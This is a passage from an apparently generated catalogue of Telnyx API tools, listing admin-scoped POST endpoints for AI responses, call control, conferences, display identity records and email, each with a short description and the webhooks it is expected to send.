response using Telnyx's OpenAI-compatible Responses API. This endpoint is compatible with the OpenAI Responses API and may be used with the OpenAI JS or Python SDK by setting the base URL to https://api.telnyx.com/v2/ai/openai. The conversation parameter refers to a Telnyx Conversation rather than an OpenAI-hosted conversation object. To persist a thread across turns, first create a conversation with POST /ai/conversations, then pass that conversation's id in the Responses request as conversation. The endpoint appends the new input, assistant output, reasoning, and tool-call messages to that conversation. Reuse the same conversation id on subsequent Responses requests, including tool-result followups, so the model receives the prior context. If conversation is omitted, the request is processed without persisting messages to a Telnyx conversation. Use the Conversations API to manage history: list conversations (optionally filtered by metadata), fetch messages for a conversation, and optionally add messages outside the Responses flow. You can attach arbitrary metadata when creating a conversation (for example to tag the conversation's source, channel, or user) and later filter by it when listing conversations. [OpenAI Chat] via POST /ai/openai/responses POST /api/v1/telnyx/ai/openai/responses. Scopes: admin. telnyx_post_ai_responses (write) — Deprecated: Use POST /v2/ai/openai/responses instead. This endpoint is compatible with the OpenAI Responses API and may be used with the OpenAI JS or Python SDK. Response id parameter is not supported at the moment. Use the conversation parameter with a Telnyx Conversation ID to leverage persistent conversations. [Chat] via POST /ai/responses POST /api/v1/telnyx/ai/responses. Scopes: admin. telnyx_post_ai_summarize (write) — Generate a summary of a file's contents. Supports the following text formats: - PDF, HTML, txt, json, csv Supports the following media formats (billed for both the transcription and summary): - flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm - Up to 100 MB [Chat] via POST /ai/summarize POST /api/v1/telnyx/ai/summarize. Scopes: admin. telnyx_post_ai_tools (write) — Create a new custom AI tool that can be attached to AI assistants. [Assistants] via POST /ai/tools POST /api/v1/telnyx/ai/tools. Scopes: admin. telnyx_post_alphanumeric_sender_ids (write) — Create a new alphanumeric sender ID associated with a messaging profile. [Messaging] via POST /alphanumeric_sender_ids POST /api/v1/telnyx/alphanumeric_sender_ids. Scopes: admin. telnyx_post_authentication_providers (write) — Creates a new authentication provider for single sign-on, configured from the provided identity provider details, and returns the created resource. [Authentication Providers] via POST /authentication_providers POST /api/v1/telnyx/authentication_providers. Scopes: admin. telnyx_post_billing_groups (write) — Create a new billing group, which can be used to organize resources for billing purposes. [Billing Groups] via POST /billing_groups POST /api/v1/telnyx/billing_groups. Scopes: admin. telnyx_post_bundle_pricing_user_bundles_bulk (write) — Creates multiple user bundles for the user. [User Bundles] via POST /bundle_pricing/user_bundles/bulk POST /api/v1/telnyx/bundle_pricing/user_bundles/bulk. Scopes: admin. telnyx_post_call_control_applications (write) — Creates a call control application, which defines the webhook endpoints and settings used to control calls on associated connections. [Call Control Applications] via POST /call_control_applications POST /api/v1/telnyx/call_control_applications. Scopes: admin. telnyx_post_call_reasons_validate (write) — Check up to 10 candidate call_reasons strings against Telnyx's vetting heuristics before sending them on a DIR create or update. The endpoint flags strings that are likely to be rejected during vetting (too generic, banned phrases, length issues, etc.) so you can fix them up front. [Reference Data] via POST /call_reasons/validate POST /api/v1/telnyx/call_reasons/validate. Scopes: admin. telnyx_post_calls (write) — Dial a number or SIP URI from a given connection. A successful response will include a call_leg_id which can be used to correlate the command with subsequent webhooks. Expected Webhooks: - call.initiated - call.answered or call.hangup - call.hold and call.unhold if the call is held/unheld - call.machine.detection.ended if answering_machine_detection was requested - call.machine.greeting.ended if answering_machine_detection was requested to detect the end of machine greeting - call.machine.premium.detection.ended if answering_machine_detection=premium was requested - call.machine.premium.greeting.ended if answering_machine_detection=premium was requested and a beep was detected - call.deepfake_detection.result if deepfake_detection was enabled - call.deepfake_detection.error if deepfake_detection was enabled and an error occurred - streaming.started, streaming.stopped or streaming.failed if stream_url was set When the record parameter is set to record-from-answer, the response will include a recording_id field. [Call Commands] via POST /calls POST /api/v1/telnyx/calls. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_ai_assistant_add_messages (write) — Add messages to the conversation started by an AI assistant on the call. [Call Commands] via POST /calls/{call_control_id}/actions/ai_assistant_add_messages POST /api/v1/telnyx/calls/{call_control_id}/actions/ai_assistant_add_messages. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_ai_assistant_join (write) — Add a participant to an existing AI assistant conversation. Use this command to bring an additional call leg into a running AI conversation. [Call Commands] via POST /calls/{call_control_id}/actions/ai_assistant_join POST /api/v1/telnyx/calls/{call_control_id}/actions/ai_assistant_join. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_ai_assistant_start (write) — Start an AI assistant on the call. Expected Webhooks: - call.conversation.ended - call.conversation_insights.generated [Call Commands] via POST /calls/{call_control_id}/actions/ai_assistant_start POST /api/v1/telnyx/calls/{call_control_id}/actions/ai_assistant_start. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_ai_assistant_stop (write) — Stops the AI assistant currently engaged on the call. The call remains active and can continue with other call control commands. [Call Commands] via POST /calls/{call_control_id}/actions/ai_assistant_stop POST /api/v1/telnyx/calls/{call_control_id}/actions/ai_assistant_stop. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_answer (write) — Answer an incoming call. You must issue this command before executing subsequent commands on an incoming call. Expected Webhooks: - call.answered - call.hold and call.unhold if the call is held/unheld - call.deepfake_detection.result if deepfake_detection was enabled - call.deepfake_detection.error if deepfake_detection was enabled and an error occurred - streaming.started, streaming.stopped or streaming.failed if stream_url was set When the record parameter is set to record-from-answer, the response will include a recording_id field. [Call Commands] via POST /calls/{call_control_id}/actions/answer POST /api/v1/telnyx/calls/{call_control_id}/actions/answer. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_bridge (write) — Bridge two call control calls. Expected Webhooks: - call.bridged for Leg A - call.bridged for Leg B [Call Commands] via POST /calls/{call_control_id}/actions/bridge POST /api/v1/telnyx/calls/{call_control_id}/actions/bridge. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_conversation_relay_start (write) — Start a Conversation Relay session on an active call. Conversation Relay connects the call audio to your WebSocket so your application can exchange realtime messages with the caller while Telnyx handles speech recognition and text-to-speech. Only one AI Assistant or Conversation Relay session can be active on a call at a time. Expected Webhooks: - call.conversation.ended - Sent when the Conversation Relay session ends. If the customer WebSocket disconnects, the webhook payload reason is customer_disconnect. [Call Commands] via POST /calls/{call_control_id}/actions/conversation_relay_start POST /api/v1/telnyx/calls/{call_control_id}/actions/conversation_relay_start. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_conversation_relay_stop (write) — Stop the active Conversation Relay session on a call. [Call Commands] via POST /calls/{call_control_id}/actions/conversation_relay_stop POST /api/v1/telnyx/calls/{call_control_id}/actions/conversation_relay_stop. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_enqueue (write) — Places the call into a queue, where it waits until it is removed or bridged to another leg. Queue behavior is configured through the request body. [Call Commands] via POST /calls/{call_control_id}/actions/enqueue POST /api/v1/telnyx/calls/{call_control_id}/actions/enqueue. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_fork_start (write) — Call forking allows you to stream the media from a call to a specific target in realtime. This stream can be used to enable realtime audio analysis to support a variety of use cases, including fraud detection, or the creation of AI-generated audio responses. Requests must specify either the target attribute or the rx and tx attributes. Expected Webhooks: - call.fork.started - call.fork.stopped [Call Commands] via POST /calls/{call_control_id}/actions/fork_start POST /api/v1/telnyx/calls/{call_control_id}/actions/fork_start. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_fork_stop (write) — Stop forking a call. Expected Webhooks: - call.fork.stopped [Call Commands] via POST /calls/{call_control_id}/actions/fork_stop POST /api/v1/telnyx/calls/{call_control_id}/actions/fork_stop. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_gather (write) — Gather DTMF signals to build interactive menus. You can pass a list of valid digits. The Answer command must be issued before the gather command. Expected Webhooks: - call.dtmf.received (you may receive many of these webhooks) - call.gather.ended [Call Commands] via POST /calls/{call_control_id}/actions/gather POST /api/v1/telnyx/calls/{call_control_id}/actions/gather. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_gather_stop (write) — Stop current gather. Expected Webhooks: - call.gather.ended [Call Commands] via POST /calls/{call_control_id}/actions/gather_stop POST /api/v1/telnyx/calls/{call_control_id}/actions/gather_stop. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_gather_using_ai (write) — Gather parameters defined in the request payload using a voice assistant. You can pass parameters described as a JSON Schema object and the voice assistant will attempt to gather these informations. Expected Webhooks: - call.ai_gather.ended - call.conversation.ended - call.ai_gather.partial_results (if send_partial_results is set to true) - call.ai_gather.message_history_updated (if send_message_history_updates is set to true) [Call Commands] via POST /calls/{call_control_id}/actions/gather_using_ai POST /api/v1/telnyx/calls/{call_control_id}/actions/gather_using_ai. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_gather_using_audio (write) — Play an audio file on the call until the required DTMF signals are gathered to build interactive menus. You can pass a list of valid digits along with an 'invalid_audio_url', which will be played back at the beginning of each prompt. Playback will be interrupted when a DTMF signal is received. The Answer command must be issued before the gather_using_audio command. Expected Webhooks: - call.playback.started - call.playback.ended - call.dtmf.received (you may receive many of these webhooks) - call.gather.ended [Call Commands] via POST /calls/{call_control_id}/actions/gather_using_audio POST /api/v1/telnyx/calls/{call_control_id}/actions/gather_using_audio. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_gather_using_speak (write) — Convert text to speech and play it on the call until the required DTMF signals are gathered to build interactive menus. You can pass a list of valid digits along with an 'invalid_payload', which will be played back at the beginning of each prompt. Speech will be interrupted when a DTMF signal is received. The Answer command must be issued before the gather_using_speak command. Expected Webhooks: - call.dtmf.received (you may receive many of these webhooks) - call.gather.ended [Call Commands] via POST /calls/{call_control_id}/actions/gather_using_speak POST /api/v1/telnyx/calls/{call_control_id}/actions/gather_using_speak. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_hangup (write) — Hang up the call. Expected Webhooks: - call.hangup - call.recording.saved [Call Commands] via POST /calls/{call_control_id}/actions/hangup POST /api/v1/telnyx/calls/{call_control_id}/actions/hangup. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_leave_queue (write) — Removes the call from the queue it is currently waiting in. The call remains active and can be directed with further call commands. [Call Commands] via POST /calls/{call_control_id}/actions/leave_queue POST /api/v1/telnyx/calls/{call_control_id}/actions/leave_queue. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_pay (write) — Collect payment details from the caller using DTMF and either charge or tokenize the payment method through a configured Pay connector. Pay pauses active call recordings while sensitive payment details are collected. When payment_token is supplied, the DTMF collection steps are skipped and the existing token is sent to the connector. Expected Webhooks: - call.payment.progress - call.payment.completed Test mode card numbers: 4111111111111111 (Visa), 5555555555554444 (Mastercard), 378282246310005 (American Express), 6011111111111117 (Discover), 3065930009020004 (Diners Club), 3566002020360505 (JCB), 6200000000000005 (UnionPay), and 6771798021000008 (Maestro). Test-mode connectors reject other card numbers before contacting the configured processor. The UnionPay and Maestro numbers are accepted for processor testing, but Pay currently does not emit a card type for them. [Call Commands] via POST /calls/{call_control_id}/actions/pay POST /api/v1/telnyx/calls/{call_control_id}/actions/pay. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_playback_start (write) — Play an audio file on the call. If multiple play audio commands are issued consecutively, the audio files will be placed in a queue awaiting playback. *Notes:* - When overlay is enabled, target_legs is limited to self. - A customer cannot Play Audio with overlay=true unless there is a Play Audio with overlay=false actively playing. Expected Webhooks: - call.playback.started - call.playback.ended [Call Commands] via POST /calls/{call_control_id}/actions/playback_start POST /api/v1/telnyx/calls/{call_control_id}/actions/playback_start. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_playback_stop (write) — Stop audio being played on the call. Expected Webhooks: - call.playback.ended or call.speak.ended [Call Commands] via POST /calls/{call_control_id}/actions/playback_stop POST /api/v1/telnyx/calls/{call_control_id}/actions/playback_stop. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_record_pause (write) — Pause recording the call. Recording can be resumed via Resume recording command. Expected Webhooks: There are no webhooks associated with this command. [Call Commands] via POST /calls/{call_control_id}/actions/record_pause POST /api/v1/telnyx/calls/{call_control_id}/actions/record_pause. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_record_resume (write) — Resume recording the call. Expected Webhooks: There are no webhooks associated with this command. [Call Commands] via POST /calls/{call_control_id}/actions/record_resume POST /api/v1/telnyx/calls/{call_control_id}/actions/record_resume. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_record_start (write) — Start recording the call. Recording will stop on call hang-up, or can be initiated via the Stop Recording command. Expected Webhooks: - call.recording.saved - call.recording.transcription.saved - call.recording.error [Call Commands] via POST /calls/{call_control_id}/actions/record_start POST /api/v1/telnyx/calls/{call_control_id}/actions/record_start. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_record_stop (write) — Stop recording the call. Expected Webhooks: - call.recording.saved [Call Commands] via POST /calls/{call_control_id}/actions/record_stop POST /api/v1/telnyx/calls/{call_control_id}/actions/record_stop. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_refer (write) — Initiate a SIP Refer on a Call Control call. You can initiate a SIP Refer at any point in the duration of a call. Expected Webhooks: - call.refer.started - call.refer.completed - call.refer.failed [Call Commands] via POST /calls/{call_control_id}/actions/refer POST /api/v1/telnyx/calls/{call_control_id}/actions/refer. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_reject (write) — Reject an incoming call. Expected Webhooks: - call.hangup [Call Commands] via POST /calls/{call_control_id}/actions/reject POST /api/v1/telnyx/calls/{call_control_id}/actions/reject. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_send_dtmf (write) — Sends DTMF tones from this leg. DTMF tones will be heard by the other end of the call. Expected Webhooks: There are no webhooks associated with this command. [Call Commands] via POST /calls/{call_control_id}/actions/send_dtmf POST /api/v1/telnyx/calls/{call_control_id}/actions/send_dtmf. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_send_sip_info (write) — Sends SIP info from this leg. Expected Webhooks: - call.sip_info.received (to be received on the target call leg) [Call Commands] via POST /calls/{call_control_id}/actions/send_sip_info POST /api/v1/telnyx/calls/{call_control_id}/actions/send_sip_info. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_siprec_start (write) — Start siprec session to configured in SIPREC connector SRS. Expected Webhooks: - siprec.started - siprec.stopped - siprec.failed [Call Commands] via POST /calls/{call_control_id}/actions/siprec_start POST /api/v1/telnyx/calls/{call_control_id}/actions/siprec_start. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_siprec_stop (write) — Stop SIPREC session. Expected Webhooks: - siprec.stopped [Call Commands] via POST /calls/{call_control_id}/actions/siprec_stop POST /api/v1/telnyx/calls/{call_control_id}/actions/siprec_stop. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_speak (write) — Convert text to speech and play it back on the call. If multiple speak text commands are issued consecutively, the audio files will be placed in a queue awaiting playback. Expected Webhooks: - call.speak.started - call.speak.ended [Call Commands] via POST /calls/{call_control_id}/actions/speak POST /api/v1/telnyx/calls/{call_control_id}/actions/speak. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_streaming_start (write) — Start streaming the media from a call to a specific WebSocket address or Dialogflow connection in near-realtime. Audio will be delivered as base64-encoded RTP payload (raw audio), wrapped in JSON payloads. Please find more details about media streaming messages specification under the link. [Call Commands] via POST /calls/{call_control_id}/actions/streaming_start POST /api/v1/telnyx/calls/{call_control_id}/actions/streaming_start. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_streaming_stop (write) — Stop streaming a call to a WebSocket. Expected Webhooks: - streaming.stopped [Call Commands] via POST /calls/{call_control_id}/actions/streaming_stop POST /api/v1/telnyx/calls/{call_control_id}/actions/streaming_stop. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_suppression_start (write) — Start noise suppression on an active call to reduce background noise. This feature is currently in beta. [Call Commands] via POST /calls/{call_control_id}/actions/suppression_start POST /api/v1/telnyx/calls/{call_control_id}/actions/suppression_start. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_suppression_stop (write) — Stop noise suppression previously started on an active call. This feature is currently in beta. [Call Commands] via POST /calls/{call_control_id}/actions/suppression_stop POST /api/v1/telnyx/calls/{call_control_id}/actions/suppression_stop. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_switch_supervisor_role (write) — Switch the supervisor role for a bridged call. This allows switching between different supervisor modes during an active call [Call Commands] via POST /calls/{call_control_id}/actions/switch_supervisor_role POST /api/v1/telnyx/calls/{call_control_id}/actions/switch_supervisor_role. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_transcription_start (write) — Start real-time transcription. Transcription will stop on call hang-up, or can be initiated via the Transcription stop command. Expected Webhooks: - call.transcription [Call Commands] via POST /calls/{call_control_id}/actions/transcription_start POST /api/v1/telnyx/calls/{call_control_id}/actions/transcription_start. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_transcription_stop (write) — Stops real-time transcription on the call. Transcription webhooks cease once the command takes effect; the call itself is unaffected. [Call Commands] via POST /calls/{call_control_id}/actions/transcription_stop POST /api/v1/telnyx/calls/{call_control_id}/actions/transcription_stop. Scopes: admin. telnyx_post_calls_by_call_control_id_actions_transfer (write) — Transfer a call to a new destination. If the transfer is unsuccessful, a call.hangup webhook for the other call (Leg B) will be sent indicating that the transfer could not be completed. The original call will remain active and may be issued additional commands, potentially transfering the call to an alternate destination. Expected Webhooks: - call.initiated - call.bridged to Leg B - call.answered or call.hangup - call.machine.detection.ended if answering_machine_detection was requested - call.machine.greeting.ended if answering_machine_detection was requested to detect the end of machine greeting - call.machine.premium.detection.ended if answering_machine_detection=premium was requested - call.machine.premium.greeting.ended if answering_machine_detection=premium was requested and a beep was detected [Call Commands] via POST /calls/{call_control_id}/actions/transfer POST /api/v1/telnyx/calls/{call_control_id}/actions/transfer. Scopes: admin. telnyx_post_comments (write) — Creates a comment associated with a supported number-order record. The response contains the created comment. [Phone Number Orders] via POST /comments POST /api/v1/telnyx/comments. Scopes: admin. telnyx_post_conferences (write) — Create a conference from an existing call leg using a call_control_id and a conference name. Upon creating the conference, the call will be automatically bridged to the conference. Conferences will expire after all participants have left the conference or after 4 hours regardless of the number of active participants. Expected Webhooks: - conference.created - conference.participant.joined - conference.participant.left - conference.ended - conference.recording.saved - conference.floor.changed [Conference Commands] via POST /conferences POST /api/v1/telnyx/conferences. Scopes: admin. telnyx_post_conferences_by_id_actions_end (write) — End a conference and terminate all active participants. [Conference Commands] via POST /conferences/{id}/actions/end POST /api/v1/telnyx/conferences/{id}/actions/end. Scopes: admin. telnyx_post_conferences_by_id_actions_gather_using_audio (write) — Play an audio file to a specific conference participant and gather DTMF input. [Conference Commands] via POST /conferences/{id}/actions/gather_using_audio POST /api/v1/telnyx/conferences/{id}/actions/gather_using_audio. Scopes: admin. telnyx_post_conferences_by_id_actions_hold (write) — Hold a list of participants in a conference call [Conference Commands] via POST /conferences/{id}/actions/hold POST /api/v1/telnyx/conferences/{id}/actions/hold. Scopes: admin. telnyx_post_conferences_by_id_actions_join (write) — Join an existing call leg to a conference. Issue the Join Conference command with the conference ID in the path and the call_control_id of the leg you wish to join to the conference as an attribute. The conference can have up to a certain amount of active participants, as set by the max_participants parameter in conference creation request. Expected Webhooks: - conference.participant.joined - conference.participant.left [Conference Commands] via POST /conferences/{id}/actions/join POST /api/v1/telnyx/conferences/{id}/actions/join. Scopes: admin. telnyx_post_conferences_by_id_actions_leave (write) — Removes a call leg from a conference and moves it back to parked state. Expected Webhooks: - conference.participant.left [Conference Commands] via POST /conferences/{id}/actions/leave POST /api/v1/telnyx/conferences/{id}/actions/leave. Scopes: admin. telnyx_post_conferences_by_id_actions_mute (write) — Mute a list of participants in a conference call [Conference Commands] via POST /conferences/{id}/actions/mute POST /api/v1/telnyx/conferences/{id}/actions/mute. Scopes: admin. telnyx_post_conferences_by_id_actions_play (write) — Play audio to all or some participants on a conference call. [Conference Commands] via POST /conferences/{id}/actions/play POST /api/v1/telnyx/conferences/{id}/actions/play. Scopes: admin. telnyx_post_conferences_by_id_actions_record_pause (write) — Pauses the active recording of the specified conference. Resume it later with the record_resume action. [Conference Commands] via POST /conferences/{id}/actions/record_pause POST /api/v1/telnyx/conferences/{id}/actions/record_pause. Scopes: admin. telnyx_post_conferences_by_id_actions_record_resume (write) — Resumes a previously paused recording of the specified conference, continuing capture from the point it was paused. [Conference Commands] via POST /conferences/{id}/actions/record_resume POST /api/v1/telnyx/conferences/{id}/actions/record_resume. Scopes: admin. telnyx_post_conferences_by_id_actions_record_start (write) — Start recording the conference. Recording will stop on conference end, or via the Stop Recording command. Expected Webhooks: - conference.recording.saved [Conference Commands] via POST /conferences/{id}/actions/record_start POST /api/v1/telnyx/conferences/{id}/actions/record_start. Scopes: admin. telnyx_post_conferences_by_id_actions_record_stop (write) — Stop recording the conference. Expected Webhooks: - conference.recording.saved [Conference Commands] via POST /conferences/{id}/actions/record_stop POST /api/v1/telnyx/conferences/{id}/actions/record_stop. Scopes: admin. telnyx_post_conferences_by_id_actions_send_dtmf (write) — Send DTMF tones to one or more conference participants. [Conference Commands] via POST /conferences/{id}/actions/send_dtmf POST /api/v1/telnyx/conferences/{id}/actions/send_dtmf. Scopes: admin. telnyx_post_conferences_by_id_actions_speak (write) — Convert text to speech and play it to all or some participants. [Conference Commands] via POST /conferences/{id}/actions/speak POST /api/v1/telnyx/conferences/{id}/actions/speak. Scopes: admin. telnyx_post_conferences_by_id_actions_stop (write) — Stop audio being played to all or some participants on a conference call. [Conference Commands] via POST /conferences/{id}/actions/stop POST /api/v1/telnyx/conferences/{id}/actions/stop. Scopes: admin. telnyx_post_conferences_by_id_actions_unhold (write) — Unhold a list of participants in a conference call [Conference Commands] via POST /conferences/{id}/actions/unhold POST /api/v1/telnyx/conferences/{id}/actions/unhold. Scopes: admin. telnyx_post_conferences_by_id_actions_unmute (write) — Unmute a list of participants in a conference call [Conference Commands] via POST /conferences/{id}/actions/unmute POST /api/v1/telnyx/conferences/{id}/actions/unmute. Scopes: admin. telnyx_post_conferences_by_id_actions_update (write) — Update conference participant supervisor_role [Conference Commands] via POST /conferences/{id}/actions/update POST /api/v1/telnyx/conferences/{id}/actions/update. Scopes: admin. telnyx_post_credential_connections (write) — Creates a new credential-based SIP connection. Credential connections authenticate with a username and password rather than by IP address. [Credential Connections] via POST /credential_connections POST /api/v1/telnyx/credential_connections. Scopes: admin. telnyx_post_credential_connections_by_id_actions_check_registration_status (write) — Checks the registration_status for a credential connection, (registration_status) as well as the timestamp for the last SIP registration event (registration_status_updated_at) [Credential Connections] via POST /credential_connections/{id}/actions/check_registration_status POST /api/v1/telnyx/credential_connections/{id}/actions/check_registration_status. Scopes: admin. telnyx_post_custom_storage_credentials_by_connection_id (write) — Creates a custom storage credentials configuration. [Call Recordings] via POST /custom_storage_credentials/{connection_id} POST /api/v1/telnyx/custom_storage_credentials/{telnyx_connection_id}. Scopes: admin. telnyx_post_customer_service_records (write) — Create a new customer service record for the provided phone number. [Customer Service Record] via POST /customer_service_records POST /api/v1/telnyx/customer_service_records. Scopes: admin. telnyx_post_customer_service_records_phone_number_coverages (write) — Verify the coverage for a list of phone numbers. [Customer Service Record] via POST /customer_service_records/phone_number_coverages POST /api/v1/telnyx/customer_service_records/phone_number_coverages. Scopes: admin. telnyx_post_dialogflow_connections_by_connection_id (write) — Save Dialogflow Credentiails to Telnyx, so it can be used with other Telnyx services. [Dialogflow Integration] via POST /dialogflow_connections/{connection_id} POST /api/v1/telnyx/dialogflow_connections/{telnyx_connection_id}. Scopes: admin. telnyx_post_dir_by_dir_id_comments (write) — Post a customer comment on a DIR (for example, to respond to reviewer notes). Send only content (1–5000 chars) and an optional parent_comment_id; the server sets the comment type, visibility, and author automatically. The enterprise is resolved server-side from the DIR id. [Comments] via POST /dir/{dir_id}/comments POST /api/v1/telnyx/dir/{dir_id}/comments. Scopes: admin. telnyx_post_dir_by_dir_id_phone_numbers (write) — Register phone numbers under a DIR. The enterprise is resolved server-side from the DIR id. Same body, failure modes, and batch semantics whichever path form you use. Pricing: This is a billable action. See https://telnyx.com/pricing/numbers for current pricing. [Phone Numbers] via POST /dir/{dir_id}/phone_numbers POST /api/v1/telnyx/dir/{dir_id}/phone_numbers. Scopes: admin. telnyx_post_dir_by_dir_id_references (write) — Submit the two business references and one financial reference for a DIR. The DIR's authorizer email must be verified first (see the email-verification endpoint). Until it is, this returns 409 and no references are stored. The request body carries exactly two business references plus one financial reference. The first submission stores them and returns 201. Resubmitting returns 200: identical values are simply confirmed and nothing is written, while changed values replace those references. Replacing a reference is allowed only while the DIR itself is still editable, the same window in which a single reference may be updated; once the DIR has been submitted for vetting this returns 400. A replaced reference's pending verification call is cancelled and its dial-in code stops working, and the replacement contact is emailed fresh scheduling details. References whose details did not change keep their existing call, code, and the notice already sent to them. The response always echoes the stored references in the same shape as the GET. Who qualifies: the two business references confirm the company's reputation and operations. Each should be a senior contact at an organization the business works with, such as a vendor, partner, or client: a C-suite executive (CEO, CFO, CTO, COO), an owner or founder as reflected in the company's corporate records, or a senior manager, director, or executive. The financial reference confirms the company pays its bills and should be a licensed certified public accountant (CPA) the company uses, a contact at a bank or financial institution that has a relationship with the company, or a reasonable alternative banking or financial reference. [DIR References] via POST /dir/{dir_id}/references POST /api/v1/telnyx/dir/{dir_id}/references. Scopes: admin. telnyx_post_dir_by_dir_id_submit (write) — Submit a DIR for vetting. Sends the DIR back through the vetting cycle from any non-terminal status. When re-submitting from suspended or expired, the DIR's previous Branded Calling registration is torn down transactionally and its phone numbers flip back to submitted. When re-submitting from verified, the existing registration stays live throughout the new vetting cycle. Returns 400 from submitted/in_review/permanently_rejected. Returns 400 if the DIR's business and financial references have not been submitted. Returns 409 if the DIR has an unresolved infringement claim. [Display Identity Records] via POST /dir/{dir_id}/submit POST /api/v1/telnyx/dir/{dir_id}/submit. Scopes: admin. telnyx_post_dir_by_dir_id_verify_email (write) — Email a 6-digit code to the DIR's authorizer email to confirm ownership of that address. The code expires in 15 minutes. Requesting a new code invalidates any previous one. Resends are rate limited (a short cooldown plus a daily cap). Submit the code to POST /dir/{dir_id}/verify_email/confirm. [Email Verification] via POST /dir/{dir_id}/verify_email POST /api/v1/telnyx/dir/{dir_id}/verify_email. Scopes: admin. telnyx_post_dir_by_dir_id_verify_email_confirm (write) — Submit the 6-digit code that was emailed to the DIR's authorizer email. On success the authorizer email is marked verified. For security, any failure (wrong, expired, already-used, or too many attempts) returns the same generic message. [Email Verification] via POST /dir/{dir_id}/verify_email/confirm POST /api/v1/telnyx/dir/{dir_id}/verify_email/confirm. Scopes: admin. telnyx_post_documents (write) — Upload a document. Uploaded files must be linked to a service within 30 minutes or they will be automatically deleted. [Documents] via POST /documents POST /api/v1/telnyx/documents. Scopes: admin. telnyx_post_dynamic_emergency_addresses (write) — Creates a dynamic emergency address, the validated physical location used when provisioning dynamic emergency endpoints. [Dynamic Emergency Addresses] via POST /dynamic_emergency_addresses POST /api/v1/telnyx/dynamic_emergency_addresses. Scopes: admin. telnyx_post_dynamic_emergency_endpoints (write) — Creates a dynamic emergency endpoint, associating a callback number and location with a device for emergency calling. [Dynamic Emergency Endpoints] via POST /dynamic_emergency_endpoints POST /api/v1/telnyx/dynamic_emergency_endpoints. Scopes: admin. telnyx_post_email_blocks (write) — Creates a suppression with reason: manual_block and source: manual. Caller-supplied reason / source are ignored; scope is derived server-side from domain_id / from and is never trusted. Idempotent: if a matching row already exists (NULL-safe dedupe key: account_id, scope, to, reason, domain_id, from), returns the existing record with 200 (no new audit event). bounce_category, dsn_code, meta, and group_id are not accepted on the public surface. Use the unsubscribe-group suppression endpoint or the internal create surface for those. [Email Suppressions] via POST /email_blocks POST /api/v1/telnyx/email_blocks. Scopes: admin. telnyx_post_email_domains (write) — Registers a domain for email sending and optional inbound delivery. The response includes the domain configuration and current verification state. [Email Domains] via POST /email_domains POST /api/v1/telnyx/email_domains. Scopes: admin. telnyx_post_email_domains_by_domain_id_verify (write) — Checks the published DNS records against the records required for the email domain and returns the latest verification results. [Email Domain DNS Records] via POST /email_domains/{domain_id}/verify POST /api/v1/telnyx/email_domains/{domain_id}/verify. Scopes: admin. telnyx_post_email_domains_by_domain_id_webhooks (write) — Creates a webhook endpoint subscribed to a specific allowlist of event types. Both email.* events (published by email-api) and email_domain.* events (published by this service) flow through the same webhooks. [Email Webhooks] via POST /email_domains/{domain_id}/webhooks POST /api/v1/telnyx/email_domains/{domain_id}/webhooks. Scopes: admin. telnyx_post_email_inboxes (write) — Creates an inbox on an inbound-enabled domain. When domain_id is omitted, Telnyx allocates the account's shared inbound subdomain so the inbox is immediately usable without customer DNS setup. When username is omitted, a unique username is generated. [Email Inboxes] via POST /email_inboxes POST /api/v1/telnyx/email_inboxes. Scopes: admin. telnyx_post_email_inboxes_by_inbox_id_drafts (write) — Creates an unsent draft in the inbox. Every field is optional — a draft is a work-in-progress and may be saved incomplete. Send-time requirements (sender, subject, at least one recipient) are enforced when the draft is sent, not when it is created. Drafts are unbillable and emit no Email Detail Records until they are sent. [Email Drafts] via POST /email_inboxes/{inbox_id}/drafts POST /api/v1/telnyx/email_inboxes/{inbox_id}/drafts. Scopes: admin. telnyx_post_email_inboxes_by_inbox_id_drafts_by_draft_id_send (write) — Sends the draft through the standard send pipeline — the same domain resolution, suppression, reputation, daily-quota, persistence and Detail Record behaviour as POST /v2/email_messages. The response body is the created email message. If the draft has no explicit from_email, the inbox address is used. The draft is marked sent only after the send is accepted; a send rejected for suppression, quota or reputation leaves the draft editable so it can be fixed and retried. A draft that is already sent returns 422 rather than sending twice. [Email Drafts] via POST /email_inboxes/{inbox_id}/drafts/{draft_id}/send POST /api/v1/telnyx/email_inboxes/{inbox_id}/drafts/{draft_id}/send. Scopes: admin. telnyx_post_email_inboxes_by_inbox_id_filters (write) — Adds entries to either the allowlist or blocklist. The operation is an idempotent set union: entries already present remain unchanged. [Email Inboxes] via POST /email_inboxes/{inbox_id}/filters POST 